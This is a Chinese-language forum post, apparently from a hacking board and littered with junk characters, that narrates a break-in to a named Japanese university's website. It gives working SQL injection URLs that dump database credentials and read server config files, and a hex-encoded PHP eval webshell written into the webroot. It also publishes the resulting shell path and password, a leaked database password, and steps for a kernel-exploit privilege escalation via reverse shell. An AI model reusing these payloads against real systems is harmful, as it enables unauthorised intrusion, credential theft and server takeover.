入侵日本同志社大学技术分析
% ]" a& _8 h P6 Y* x+ K4 [" |% `: d$ b
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
% Y* k7 S/ s V3 |然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
2 b/ O! ]4 K* Q
" o1 C) S2 n8 w0 `6 g* X8 z7 Shttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user: f1 I$ I6 p0 a1 @! e& y
9 X+ a T R6 v, f( K- T
+ \/ p* A! t, {3 E6 b8 v2 e3 N- ?
//@@datadir为数据库文件路径 + Z4 t% Z; N' L5 x3 f% W
# q) f" O6 W2 }( ~( C+ l
# l1 G: V& w: W
//load_file读取网站容器apache的配置文件
3 U) ]; L$ g% _+ Q% @. k0 a2 Y 6 {2 O% V$ ?6 X' a
* V' ^' W8 p- j2 o/ C/ n
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 + S b3 d6 k3 x* r+ p
复制代码( S2 f5 c: \9 i1 U E( H
( `$ N$ [+ t% }/ X0 W. h虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
& z3 {5 N# O/ S/ U0 R/ e$ v( U3 H( @7 V; ?& \
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。8 J7 _2 B- }9 v# R( o/ b) r' g
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)5 D9 I: ]1 g1 A" c7 T" r5 {0 o
/ N5 k! G4 U, C7 j$ @5 k前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 \, f/ {& |- O/ x. t, Y" w如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html5 d7 Z% d x- ~2 `1 B( a
1 n9 K3 a; c2 }) p* ^既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/% M" G G3 P8 s3 h
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
' B X8 y! u7 H2 p0 P8 X. V+ W5 I% `& ^直接写一句话:9 T" A2 }5 Y% v8 D9 D
# B! R0 ?! x. |( a* P1 n
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#, J* ~- u8 d; H5 i* F- x
7 T$ D9 G; G/ Y" s
! {4 _" G" _# W9 A5 M3 |9 z9 a2 e8 ~7 l/ V, a
//最后的#是为了闭合前面的语句
& o0 c; y0 v' @) a7 o6 d0 q
- s; o1 Q. G9 _, g8 A* Q/ C; G1 L' j* F
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E # q# V; _ T: _; H2 M
$ k [! e9 _- \( ^9 s ~
2 K. H7 R' ~% [ t) f+ I为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
& ] _! j7 j( J) ~ + g7 Z7 h' |2 X/ Q, H
) \- |: K9 x9 N- r: c \) V" i
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
- l# L0 G7 Z$ c, ? 0 r% V; X* P& @4 `7 g, P! G
. J6 r3 z9 f- ?" k8 n# q, s
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
8 S$ R; ^4 k4 D: m//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
2 Z% ]9 H' Q5 p; D1 [复制代码+ h+ [+ Q! N5 M' H, S
3 U. H- S' J$ t/ t3 d. H/ n# mHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
0 c# C; V: ]) ?通过上述注入语句,我们就得到了一句话木马:
' J7 S3 g8 ~9 A. g' z) n
; v8 f& W& c5 y8 v1 p7 c, s
, P' W: R/ u$ n- d
. w) ^2 i7 [3 s$ }2 e6 q % c l7 Z! }, A; l
/ O2 s6 R, X# _ I4 m( Phttp://www.doshisha.ac.jp/english/engnews_img/aa.php
- d& n. \5 l$ C2 z复制代码
9 N' d @: L$ r o; b/ Y
5 i/ c' m: W+ Y用菜刀连接,密码是cmd,如图所示:
. @1 ~( F) Z. S然后在命令提示行里看了一下,现在的权限是:6 o' z5 o# ^+ O
' L3 S9 F& P( y# {3 c- k
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
7 ~$ H3 l) x5 ~8 K* H好在赋权给这个文件夹不需要root,直接执行赋权语句:+ u! ~& Q8 C: u1 S
. p3 A* |* M9 E8 \- A! F
. a- b( |$ t2 D- T* h* Q
" L9 Y# N. G2 j! Y2 Z& ?+ X( Y 7 f! M2 Z( \" e5 m! u
& h) k& n: R+ {$ |( T* i
chmod +x /tmp/ 0 F; l' H) G: g+ I
复制代码
1 q: c6 b- I0 |6 J d/ ^9 l- G7 {4 c! Y3 B* y+ T, T
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
- ]- o' V G5 t# N: k \" Q然后就查了一下内核版本:- M! X' U0 I+ b
7 I* s! q3 T9 s7 c' O7 W; [
# Y8 |7 t Z& L5 q, ?* H
+ f$ P" y. r. a. @9 n . S6 ^! p# ?1 v0 q, z- m2 Z
1 o& `& |) s, z: V+ Q O
uname-a
8 S: o" f7 P0 p3 B- {. x3 ], M; J ) z8 p2 Y9 n& p$ P; v
7 S; G+ x0 C, w$ l6 ~4 u
//其实lsb_release -a
# }3 `5 M i/ ~. Y& b0 Q复制代码1 Q/ P' _. k; M* r' e
; T/ W q% a% U8 c5 K# h2 @0 n4 t如图所示:
5 B/ ] u+ V# f& }: p# F# B3 ^* m8 h: M; |9 j1 l6 p+ D* Y
内核版本:linux mainz1 2.6.28-194.e15
% d- Y; _/ ~, J" H, d2 B$ N* [系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga) O4 w" B- g' }( i
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
( [) E$ w3 g3 a* \# p" X
e( h( m% z" u, l* K0 k6 {然后给予执行权限
/ g. v6 @# M L+ y. `8 }, {# t6 E一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样; H/ I, N+ l: j+ i5 `
6 `/ K, ]: C/ Q, V$ M E& H : z6 e Q- N8 G9 l: {( e
+ Y X" X m, o9 n+ B& l7 j
- o" k- c5 ~, R0 D7 k
0 j6 r8 Q$ O5 ~3 ^5 nchmod +x /tmp/2.6.18-194 / X5 ]. c) K# ~! A; m9 S
复制代码 然后直接执行!~
/ k, v9 @: ~9 N' h8 F8 m; a7 G2 W
+ v1 e9 i \" q! V8 G总结:2 q1 h0 @, Y) j, S' d* z; D. |
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了& w" b7 j6 t8 E- \
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
( Y' d: p$ \1 `/ J) t) e7 K$ K/ O5 {! h' D6 D
|